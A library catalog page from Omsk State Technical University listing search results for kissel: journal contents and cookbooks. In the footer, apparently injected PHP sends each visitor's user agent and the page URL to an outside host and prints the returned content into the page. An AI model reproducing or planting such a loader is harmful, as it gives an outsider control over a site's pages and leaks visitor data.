Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

39 пользователей


Зарегистрированных: 1 

Смоленская Ольга Андреевна


 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=Кисель")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 12
1. 
Социальная защита. - Журнал, 2006г. № 4
Оглавление 
  • Сперанский, А. Бедность как диагноз / А. Сперанский. - с.3-6
  • Ручьева, Е. В обход законов / Е. Ручьева. - с.7-10
  • Ковалева, О. По замкнутому кругу / О. Ковалева. - с.11-14
  • Жуковская, Н. Инвалидов не слышат / Н. Жуковская. - с.19-21
  • Владимирова, Т. Необоснованный коэффициент / Т. Владимирова. - с.22-24
  • Дзугаева, А. Скорая помощь для сирот / А. Дзугаева. - с.27-30
  • Кучер, Н. Как уберечься от выселения? / Н. Кучер. - с.31-34
  • Жуковская, Н. С пакетом и прибавкой / Н. Жуковская. - с.2-4 (статья находится в приложении)
  • Сазонов, В. Все начинается с семьи / В. Сазонов. - с.5-8 (статья находится в приложении)
  • Волчок, Н. Стариков не "поставят на счетчик" / Н. Волчок. - с.9-11 (статья находится в приложении)
  • Сорокина, В. Достойное место в обществе / В. Сорокина. - с.12-14 (статья находится в приложении)
  • Тарасенко, О. Привлечь молодых специалистов / О. Тарасенко. - с.15-18 (статья находится в приложении)
  • Волчок, Н. Зона повышенного риска / Н. Волчок. - с.24-28 (статья находится в приложении)
  • Красницкая, Г. Воспитание приемного ребенка / Г. Красницкая. - с.29-32 (статья находится в приложении)
  • Вареничева, Т. Жалованье из-под палки / Т. Вареничева. - с.3-6 (статья находится в приложении)
  • Краснорудская, М. Спор о заместительстве / М. Краснорудская. - с.7-9 (статья находится в приложении)
  • Козбаненко, В. Новая табель о рангах / В. Козбаненко. - с.10-14 (статья находится в приложении)
  • Коваленко, В. Под защитой материнства / В. Коваленко. - с.19-22 (статья находится в приложении)
  • Кузнецова, О. Как учесть мнение / О. Кузнецова. - с.29-30 (статья находится в приложении)
  • Гниденко, Т. Спасительные знания / Т. Гниденко. - с.3-7 (статья находится в приложении)
  • Потапова, В. Защита при проверках / В. Потапова. - с.8-11 (статья находится в приложении)
  • Елин, А. Выход из правового тупика / А. Елин. - с.15-19 (статья находится в приложении)
  • Китаев, В. Обеспечение средствами защиты / В. Китаев. - с.20-22 (статья находится в приложении)
  • Гниденко, Т. Путевка на лечение / Т. Гниденко. - с.23-27 (статья находится в приложении)
  • Кузьмина, Л. Новые виды лечебного питания / Л. Кузьмина, Л. Тарасова. - с.28-31 (статья находится в приложении)
    Кл. слова: Кисель "Леовит"
  • Батанов, Г. Этапы пути / Г. Батанов. - с.3-6 (статья находится в приложении)
  • Вульф, Л. Тревоги северян / Л. Вульф. - с.7-13 (статья находится в приложении)
  • Колобаев, О. Налогообложение по справедливости / О. Колобаев. - с.22-25 (статья находится в приложении)
Держатели документа (Информация об экземплярах) 
2. 
Постный стол [Текст] / ред., сост. Т. А. Ружинская, дар. А. В. Мышлявцев, 1999. - 345 с.
Держатели документа (Информация об экземплярах) 
3. 
Питание и общество. - Журнал, 2009г. № 3
Оглавление 
  • Кучер, Л. Масленица. 8 Марта / Л. Кучер, Л. Шкуратова. - с.14
    Кл. слова: 8 Марта
  • Диета №8. - с.18-19
    Кл. слова: Диета №8
  • "Зажигательный" овощ. - с.26
    Кл. слова: ПЕРЕЦ СЛАДКИЙ
  • Филонов, М. "Киселю всегда место найдется" / М. Филонов. - с.27
    Кл. слова: КИСЕЛЬ
  • Мясо на русском столе. - с.28
    Кл. слова: МЯСО - ПИТАНИЕ
  • Блюда из кролика. - с.29
    Кл. слова: БЛЮДА ИЗ КРОЛИКА
  • Постные блюда. - с.30
    Кл. слова: БЛЮДА ПОСТНЫЕ
4. 
Питание и общество. - Журнал, 2011г. № 6
Оглавление 
  • Борисова, Ирина Владимировна. Школьные годы чудесные,.. / И. В. Борисова. - с.2-3
  • Антипаева, Мария. Почему из школьного меню исчезают каши и борщи? / М. Антипаева. - с.8
  • Соколик, Ю. 75 лет техникуму индустрии питания и услуг "Кулинар" / Ю. Соколик. - с.9
  • Мироевская, Валерия Федоровна. А завтра была война... / В. Ф. Мироевская. - с.10-11
  • Везденеева, Людмила Федоровна. После "Смены" - здоровая смена! / Л. Ф. Везденеева, Ю. Самойлов. - с.12-13
  • Арефьева, Елена. О воспитании культуры питания / Е. Арефьева. - с.14-15
  • Ермилова, К. Питание детей первого года жизни / К. Ермилова. - с.15-16
  • [Нормативные документы по дошкольному питанию]
  • Гордеева, Екатерина. Все о молочных продуктах в рационе детей / Е. Гордеева. - с.17
  • Кучер, Л. Готовимся к приему / Л. Кучер, Л. Шкуратова. - с.18-19
  • [Уроки кондитера]. - с.19
  • Ковалев, Н. И. Кисели / Н. И. Ковалев, М. Н. Куткина, Н. Я. Карцева. - с.20
  • Суворов, Роман. Ягодный кисель с вафлями и мороженым / Р. Суворов. - с.21
  • Булочки-"человечки". - с.21
  • Арефьева, Елена. Вкусные каши для Саши и Даши / Е. Арефьева. - с.22-23
  • Блюда санатория "Смена". - с.24-25
  • "Золотая рыбка". - с.26
  • "Божья коровка" из помидора. - с.26
  • Арефьева, Анастасия. Из весенних трав всей семье - на здоровье / А. Арефьева. - с.27
  • Забнев, Сергей. Кофейные коктейли для детей / С. Забнев. - с.28
  • Молочный кисель. - с.29
  • Арефьева, Анастасия. Разоблачаем мифы о еде / А. Арефьева, Е. Арефьева. - с.32
  • Мироевская, Н. Новый учебник / Н. Мироевская. - с.32
  • Смородиновый крем
5. 
Пищевая промышленность. - Журнал, 2010г. № 1
Оглавление 
  • Скрынник, Е. Б. Основные направления развития пищевой и перерабатывающей промышленности на среднесрочную перспективу / Е. Б. Скрынник. - с.4-9
    Кл. слова: ПРОМЫШЛЕННОСТЬ ПИЩЕВАЯ, РЫНОК ПРОДОВОЛЬСТВЕННЫЙ
  • Казакова, Е. В. Защитное съедобное покрытие на основе белков / Е. В. Казакова, Л. С. Кузнецова. - с.16-18
    Кл. слова: УПАКОВКА СЪЕДОБНАЯ, ПОКРЫТИЕ СЪЕДОБНОЕ
  • Калошин, Ю. А. Новая классификация фасовочных устройств / Ю. А. Калошин, С. М. Шамшурко. - с.20-21
    Кл. слова: УСТРОЙСТВО фасовочное, ФАСОВКА, ДОЗАТОР жидкости
  • Федотова, О. Б. "Активная упаковка" из полимерных материалов / О. Б. Федотова, Д. М. Мяленко, А. В. Шалаева. - с.22-23
    Кл. слова: ПОЛИМЕР, УПАКОВКА, ПЛЕНКА полиэтиленовая
  • Вельтищев, В. Н. Установка для промывания колпачков / В. Н. Вельтищев, Ю. А. Калошин, С. Г. Токарева. - с.24
  • Гадлгареева, Р. Р. Транспортная логистика как элемент системы качества на предприятиях общественного питания / Р. Р. Гадлгареева, В. В. Касаткин, А. Г. Ларионова. - с.26
    Кл. слова: ЛОГИСТИКА ТРАНСПОРТНАЯ, ПЕРЕВОЗКА ТОВАРА, ПИТАНИЕ ОБЩЕСТВЕННОЕ - ЛОГИСТИКА
  • Пивоваров, В. И. Основные направления обеспечения продовольственной безопасности населения / В. И. Пивоваров. - с.35
    Кл. слова: БЕЗОПАСНОСТЬ ПРОДОВОЛЬСТВЕННАЯ
  • Кретов, И. Т. Влияние концентрирования на аминокислотный состав творожной сыворотки / И. Т. Кретов, В. Ю. Овсянников, С. Л. Панченко. - с.44-45
    Кл. слова: СЫВОРОТКА, КОНЦЕНТРИРОВАНИЕ, АМИНОКИСЛОТА
  • Резго, Г. Я. Сохраняемость пищевых продуктов / Г. Я. Резго. - с.46-48
    Кл. слова: УБЫЛЬ ЕСТЕСТВЕННАЯ, ХРАНЕНИЕ ПИЩЕВЫХ ПРОДУКТОВ, ПОТЕРИ ТОВАРНЫЕ
  • Эм, В. Г. Использование плодоовощного сырья в производстве мармелада / В. Г. Эм, А. А. Сапарбекова, У. Ч. Чоманов. - с.50-51
    Кл. слова: МАРМЕЛАД, ИЗДЕЛИЯ КОНДИТЕРСКИЕ
  • Новый полуфабрикат для пищеконцентратной промышленности. - с.51-52
    Кл. слова: КОНЦЕНТРАТ, ПОЛУФАБРИКАТЫ ягодные, ПОЛУФАБРИКАТЫ фруктовые
  • Гладкова, И. А. Молочно-растительная основа для напитков функционального назначения / И. А. Гладкова, М. Е. Успенская, Л. В. Антипова. - с.54-56
    Кл. слова: ЭКСТРАКТ молочно-РАСТИТЕЛЬНЫЙ, АМАРАНТ, БОБЫ нута
  • Австриевских, А. Н. Новые формы концентратов сладких блюд / А. Н. Австриевских, В. В. Бебенин, В. М. Позняковский. - с.56-57
    Кл. слова: КИСЕЛЬ, КОНЦЕНТРАТ
6. 
Авроров, Валерий Александрович. Традиционные народные технологии приготовления пищи из натуральных продуктов [Текст] / В. А. Авроров, Н. В. Моряхина, Н. Д. Тутов, 2017. - 287 с.
Держатели документа (Информация об экземплярах) 

Приведены рецепты различных скоромных и постных блюд, холодных и горячих закусок, салатов, саусов, маринадов, напитков, выпечки, сладких блюд, пасхи, мороженого и др., приготовляемых в домашних условиях.

Даны рекомендации по достижению вкусовых качеств блюд.

Предлагаемые рецепты блюд были хорошо известны в свое время, а некоторые из них и сегодня используются на предприятиях общественного питания.

Для всех приведенных рецептов характерно использование только натурального и высококачественного растительного и животного пищевого сырья и полуфабрикатов.

Учебное пособие предназначено для студентов вузов, обучающихся по направлениям "Технология продукции и организация общественного питания", "Продукты питания из растительного сырья".

7. 
Десерты и напитки [Текст] / сост. Е. В. Шиш ; дар. В. А. Козлова, 1995. - 490, [1] с.
Держатели документа (Информация об экземплярах) 
8. 
Киселева, Вера Борисовна. Детская кухня [Текст] : Кн. для матерей о приготовлении пищи детям / В. Б. Киселева; В. С. Вайль, 1958. - 175 с.
Держатели документа (Информация об экземплярах) 
9. 
Сидорина Е. И. Современная кухня [Текст] : кулинар. рецепты из доступ. продуктов / Е. И. Сидорина, 1993. - 543 с.
Ключевые слова 
СЕРВИРОВКА СТОЛА -- ЗАКУСКА ХОЛОДНАЯ -- САЛАТ -- ВИНЕГРЕТ -- ПАШТЕТ -- ЗАЛИВНОЕ -- БУТЕРБРОД -- БЛЮДА МЯСНЫЕ -- БЛЮДА ИЗ РЫБЫ -- СЫР -- БЛЮДА ИЗ ЯИЦ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СУП ОВОЩНОЙ -- УХА -- СУП МОЛОЧНЫЙ -- СУП ГРИБНОЙ -- БЛИНЫ -- ОЛАДЬИ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ КРУП -- БЛЮДА ИЗ БОБОВЫХ -- ЗАПЕКАНКА -- ПЛОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- СОУС -- ТЕСТО ДРОЖЖЕВОЕ -- ТЕСТО СЛОЕНОЕ -- ТОРТЫ -- ТЕСТО БИСКВИТНОЕ -- ПЕЧЕНЬЕ -- ХВОРОСТ -- ВАФЛИ -- КЕКС -- ПИРОГ -- КРЕМ МАСЛЯНЫЙ -- КРЕМ БЕЛКОВЫЙ -- КРЕМ ЗАВАРНОЙ -- МУСС -- ЖЕЛЕ -- КОМПОТ -- КИСЕЛЬ -- БЛЮДА СЛАДКИЕ -- ЗАГОТОВКИ -- КАПУСТА КВАШЕНАЯ -- КОНСЕРВИРОВАНИЕ -- МАРИНОВАНИЕ -- ВАРЕНЬЕ -- ДЖЕМ -- ЦУКАТЫ
10. 
Кулинарные рецепты: Из "Книги о вкусной и здоровой пище" [Текст] / сост. Л. И. Воробьева ; дар.: Л. К. Жарина, Л. К. Жарина, 1988. - 334, [1] с.
Ключевые слова 
ЗАКУСКА -- БУТЕРБРОД -- САЛАТ -- ИКРА -- ПАШТЕТ -- СОУС -- МАЙОНЕЗ -- БУЛЬОН -- СУП -- ОКРОШКА -- МЯСО -- КОТЛЕТА -- ТЕФТЕЛИ -- ШНИЦЕЛЬ -- ПЕЛЬМЕНИ -- КУРИЦА -- ДИЧЬ -- РЫБА -- МОРЕПРОДУКТ -- ТВОРОЖНИКИ -- ВАРЕНИК -- БЛИНЧИКИ -- ЗАПЕКАНКА -- ПУДИНГ -- ОМЛЕТ -- ОВОЩИ -- ГРИБЫ -- КАРТОФЕЛЬ -- ФОРШМАК -- КАША -- ПЛОВ -- КЛЕЦКИ -- ЧЕБУРЕК -- КУКУРУЗА -- ФАСОЛЬ -- ГОРОХ -- ЧЕЧЕВИЦА -- ПИРОЖОК -- ВАТРУШКА -- БУЛКА -- ОЛАДЬИ -- РУЛЕТ -- ПИРОЖНОЕ -- ТОРТ -- КЕКС -- ПОНЧИК -- ХВОРОСТ -- КИСЕЛЬ -- КОМПОТ -- ЖЕЛЕ -- МУСС -- КРЕМ -- ПУДИНГ -- ШАРЛОТКА -- МАРИНАД -- СОЛЕНЬЕ -- МАРИНАД -- КОНСЕРВИРОВАНИЕ -- ЗАМОРАЖИВАНИЕ -- ЯГОДЫ
Держатели документа (Информация об экземплярах) 
11. 
Медкова, Ирина Львовна. Сюрпризы вегетарианского стола [Текст] / И. Л. Медкова, Т. Н. Павлова, 1994. - 236, [1] с.
Держатели документа (Информация об экземплярах) 
12. 
Абатуров, Павел Васильевич. Сладкие блюда. Напитки [Текст] / П. В. Абатуров, Н. П. Цыпленков, 1958. - 136 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3224 - 07.04.2020
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.79 с.20 запросов, 0.46c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;